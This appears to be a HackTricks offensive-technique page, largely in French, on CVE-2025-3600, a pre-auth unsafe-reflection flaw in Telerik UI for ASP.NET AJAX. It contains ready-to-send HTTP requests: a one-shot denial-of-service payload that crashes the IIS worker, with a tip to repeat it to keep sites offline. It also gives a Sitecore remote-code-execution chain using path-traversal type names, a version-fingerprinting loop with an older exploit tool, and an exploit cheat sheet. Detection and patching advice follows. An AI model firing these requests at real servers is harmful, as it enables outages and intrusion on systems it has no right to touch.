Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Exécution de constructeur pré-auth dans le gestionnaire de cache Image Editor de Telerik UI for ASP.NET AJAX permet un DoS universel et, dans de nombreuses applications, une RCE pré-auth via des gadgets spécifiques à la cible (CVE-2025-3600).
TL;DR
- Composant/route affecté : Telerik.Web.UI.WebResource.axd avec le paramètre type=iec (Image Editor cache handler). Exposé pré-auth dans de nombreux produits.
- Primitive : L’attaquant contrôle un nom de type (prtype). Le gestionnaire le résout via Type.GetType() et appelle Activator.CreateInstance() avant de vérifier la sécurité de type de l’interface. Tout constructeur public sans paramètres d’un type .NET s’exécutera.
- Impact :
- DoS pré-auth universel avec un gadget du framework .NET (finalizer PowerShell WSMan).
- Se convertit souvent en RCE pré-auth dans des déploiements réels en abusant de gadgets spécifiques à l’application, en particulier des handlers AppDomain.AssemblyResolve non sécurisés.
- Correctif : Mettre à jour vers Telerik UI for ASP.NET AJAX 2025.1.416+ ou supprimer/verrouiller le gestionnaire.
Versions affectées
- Les versions Telerik UI for ASP.NET AJAX 2011.2.712 à 2025.1.218 (incluses) sont vulnérables.
- Corrigé dans 2025.1.416 (sorti le 2025-04-29). Appliquez le correctif immédiatement ou supprimez/verrouillez le gestionnaire.
Surface exposée et découverte rapide
- Vérifier l’exposition :
- GET /Telerik.Web.UI.WebResource.axd doit renvoyer autre chose que 404/403 si le gestionnaire est configuré.
- Inspectez web.config pour les mappages de handlers pointant vers Telerik.Web.UI.WebResource.axd.
- Ne vous fiez pas à la présence de chaînes Telerik sur
/ou les pages de connexion. Des produits réels comme Sitecore exposent souvent le gestionnaire sans le référencer dans le HTML par défaut.
- Le chemin déclencheur pour la voie de code vulnérable requiert : type=iec, dkey=1, et prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Remarques
- Certaines PoCs utilisent dtype ; l’implémentation vérifie dkey==“1” pour le flux de téléchargement.
- prtype doit être assembly-qualified ou résolvable dans l’AppDomain courant.
Vérifications code/ops utiles
<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
Triage rapide des versions sur les anciennes installations
Si la même application expose aussi le gestionnaire legacy type=rau, les anciens outils Telerik peuvent encore vous aider à fingerprint la version partagée de Telerik.Web.UI.dll avant d’essayer des recherches sur type=iec. Cela n’exploite pas CVE-2025-3600 directement ; il se contente de réutiliser le fait que rau et iec résident dans la même assembly.
Utilisation pratique :
- Si
type=rauest accessible, utilisez le classic major-version brute force des anciens outils RAU pour récupérer la version exacte de l’assemblyTelerik.Web.UI. - Comparez la version récupérée avec la plage vulnérable (
2011.2.712à2025.1.218) et la build corrigée (2025.1.416+). - Considérez l’absence de
type=raucomme non concluante.iecpeut toujours être exposé même sirauest désactivé ou filtré.
Exemple avec l’outil legacy CVE-2019-18935.py :
for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done
Pourquoi ceci aide :
- Les applications d’entreprise incluent souvent des versions obsolètes de Telerik pendant des années.
- Les Red teams peuvent rapidement distinguer “handler exposed” de “likely still on a vulnerable DLL”.
- Pendant incident response, la même astuce aide à délimiter de grandes flottes IIS lorsque l’accès au système de fichiers n’est pas immédiatement disponible.
Cause racine – unsafe reflection in ImageEditorCacheHandler
La logique de téléchargement du cache de Image Editor construit une instance d’un type fourni dans prtype et ne la caste en ICacheImageProvider que plus tard, puis valide la clé de téléchargement. Le constructeur s’est déjà exécuté lorsque la validation échoue.
Flux décompilé pertinent
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
Primitive d'exploitation : Controlled type string → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. Même si la requête est rejetée ensuite, les effets secondaires du gadget se sont déjà produits.
## Universal DoS gadget (no app-specific gadgets required)
Classe : System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper dans System.Management.Automation (PowerShell) possède un finaliseur qui dispose d'un handle non initialisé, provoquant une exception non gérée lorsque GC le finalise. Cela fait planter de manière fiable le IIS worker process peu après l'instanciation.
Requête DoS one‑shot :
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Remarques
- Continuez d’envoyer périodiquement des requêtes pour maintenir le site hors ligne. Vous pouvez observer le constructeur être exécuté dans un débogueur ; le crash se produit lors de la finalisation.
De DoS à RCE – schémas d’escalade
L’exécution non sécurisée des constructeurs débloque de nombreux gadgets et chaînes spécifiques à la cible. Cherchez :
- Parameterless constructors that process attacker input
- Certains ctors (ou initialiseurs statiques) lisent immédiatement les Request query/body/cookies/headers et les (dé)serialisent.
- Exemple (Sitecore) : une chaîne de ctors atteint GetLayoutDefinition() qui lit le corps HTTP “layout” et désérialise le JSON via JSON.NET.
- Constructors that touch files
- Ctros qui chargent ou désérialisent config/blobs depuis le disque peuvent être contraints si vous pouvez écrire sur ces chemins (uploads/temp/data folders).
- Constructors performing app-specific ops
- Réinitialisation d’état, basculement de modules, ou terminaison de processus.
- Constructors/static ctors that register AppDomain event handlers
- Beaucoup d’app ajoutent des handlers AppDomain.CurrentDomain.AssemblyResolve qui construisent des chemins de DLL à partir de args.Name sans validation. Si vous pouvez influencer la résolution de type, vous pouvez forcer des chargements de DLL arbitraires depuis des chemins contrôlés par l’attaquant.
- Forcing AssemblyResolve via Type.GetType
- Demandez un type inexistant pour forcer la résolution CLR et invoquer les résolveurs enregistrés (éventuellement non sécurisés). Exemple assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finaliseurs avec effets secondaires destructeurs
- Certains types suppriment des fichiers à chemin fixe dans des finaliseurs. Combiné avec le suivi de liens ou des chemins prévisibles, cela peut permettre une élévation de privilèges locale dans certains environnements.
Exemple de chaîne pre‑auth RCE (Sitecore XP)
- Étape 1 – Pre‑auth : Déclencher un type dont le static/instance ctor enregistre un gestionnaire AssemblyResolve non sécurisé (p.ex., FolderControlSource de Sitecore dans ControlFactory).
- Étape 2 – Post‑auth : Obtenir l’écriture dans un répertoire sondé par le resolver (p.ex., via an auth bypass or weak upload) et y implanter une DLL malveillante.
- Étape 3 – Pre‑auth : Utiliser CVE‑2025‑3600 avec un type inexistant et un assembly name contenant des traversals pour forcer le resolver à charger la DLL plantée → code execution en tant que IIS worker.
Exemples de déclencheurs
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Validation, hunting et notes DFIR
- Validation sûre en laboratoire : déclencher le payload DoS et observer le app pool recycle/exception non gérée liée au finalizer WSMan.
- Hunt in telemetry:
- Requêtes vers /Telerik.Web.UI.WebResource.axd avec type=iec et valeurs prtype étranges.
- Chargements de type échoués et événements AppDomain.AssemblyResolve.
- Crashes/recyclages soudains de w3wp.exe suite à ces requêtes.
Atténuation
- Appliquer le patch pour Telerik UI for ASP.NET AJAX 2025.1.416 ou ultérieur.
- Supprimer ou restreindre l’exposition de Telerik.Web.UI.WebResource.axd lorsque possible (WAF/rewrites).
- Ignorer ou durcir la gestion de prtype côté serveur (la mise à jour applique des vérifications appropriées avant l’instanciation).
- Auditer et durcir les gestionnaires personnalisés AppDomain.AssemblyResolve. Éviter de construire des chemins à partir de args.Name sans assainissement ; préférer les strong-named loads ou les listes blanches.
- Restreindre les emplacements d’upload/écriture et empêcher les dépôts de DLL dans les répertoires sondés.
- Surveiller les tentatives de chargement de types non existants pour détecter l’abus du resolver.
Fiche mémo
- Vérification de présence :
- GET /Telerik.Web.UI.WebResource.axd
- Rechercher le mapping du handler dans web.config
- Squelette d’exploit :
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Déclencher le résolveur:
This.Class.Does.Not.Exist, watchTowr
Techniques connexes
- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
Références
- Progress Telerik – Unsafe Reflection Vulnerability (3600)
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


